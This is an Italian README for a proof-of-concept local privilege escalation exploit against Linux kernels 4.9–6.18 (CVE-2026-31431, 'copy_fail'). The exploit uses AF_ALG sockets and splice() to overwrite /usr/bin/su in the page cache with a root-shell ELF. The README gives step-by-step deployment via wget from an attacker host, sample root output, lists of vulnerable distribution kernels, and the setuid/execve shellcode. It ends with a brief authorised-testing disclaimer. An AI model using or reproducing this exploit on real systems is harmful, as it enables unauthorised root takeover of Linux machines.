
PoC shell exploit per CVE-2026-31431 (copy_fail) — LPE Linux tramite AF_ALG + sovrascrittura della page-cache con splice. Single-shot, nessuna race condition, kernel 4.9–6.18.
Escalatazione locale dei privilegi tramite socket AF_ALG + sovrascrittura della page cache con splice().
Sovrascrive un binario SUID di sola lettura (/usr/bin/su) con un ELF minimale che chiama setuid(0) + execve("/bin/sh"). Nessuna race condition, nessun offset specifico per distribuzione, singolo tentativo.
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Il kernel 5.15 rientra nella finestra vulnerabile (4.9 – 6.18) — procedo
[*] Compilazione...
[+] Compilazione riuscita — avvio
# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)
Il socket AF_ALG (API crittografica) del kernel Linux, combinato con splice(), consente una scrittura in un file aperto con O_RDONLY manipolando la page cache. Il kernel salta il controllo dei permessi di scrittura nel percorso di copy-on-write all'interno del socket ALG — la stessa classe di bug di Dirty Pipe (CVE-2022-0847) ma innescata tramite un percorso di codice diverso introdotto nel kernel 4.9.
| Intervallo di kernel | Stato |
|---|---|
| < 4.9 | Non interessato (percorso di codice vulnerabile non presente) |
| 4.9 – 6.18 | Vulnerabile (~9 anni, 2017–2026) |
| ≥ 6.19 | Corretto |
| Distribuzione | Kernel |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
gcc disponibile sul target/tmp# Sul target
wget http://<your-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh
Lo script:
/usr/bin/su con il payload della shell rootSocket AF_ALG (AEAD)
│
│ sendmsg() con dati ancillari modificati (ALG_SET_OP / ALG_SET_IV)
│
▼
op_fd (socket di operazione)
▲
│ splice(): file_fd → pipe → op_fd
│
/usr/bin/su (O_RDONLY)
Il percorso di splice() del kernel all'interno del socket ALG salta il controllo dei permessi di copy-on-write, scrivendo direttamente nella page cache del file target nonostante sia aperto in sola lettura. Il payload (un ELF di 160 byte) viene scritto 4 byte alla volta in 40 iterazioni.
Shellcode del payload:
xor eax, eax
xor edi, edi ; uid = 0
mov al, 105 ; SYS_setuid
syscall ; setuid(0)
lea rdi, [rip+0xf] ; -> "/bin/sh"
xor esi, esi ; argv = NULL
push 59 / pop rax ; SYS_execve
cdq ; envp = NULL
syscall ; execve("/bin/sh", NULL, NULL)
| File | Descrizione |
|---|---|
copy_fail_exp.sh | Script Bash — compila ed esegue sul target, nessun Python richiesto |
copy_fail_exp.py | Versione Python originale per riferimento |
copy_fail_exp_deobfuscated.py | Versione Python deoffuscata e annotata |
Solo per test di sicurezza autorizzati e ambienti CTF/laboratorio. Non utilizzare contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta al test.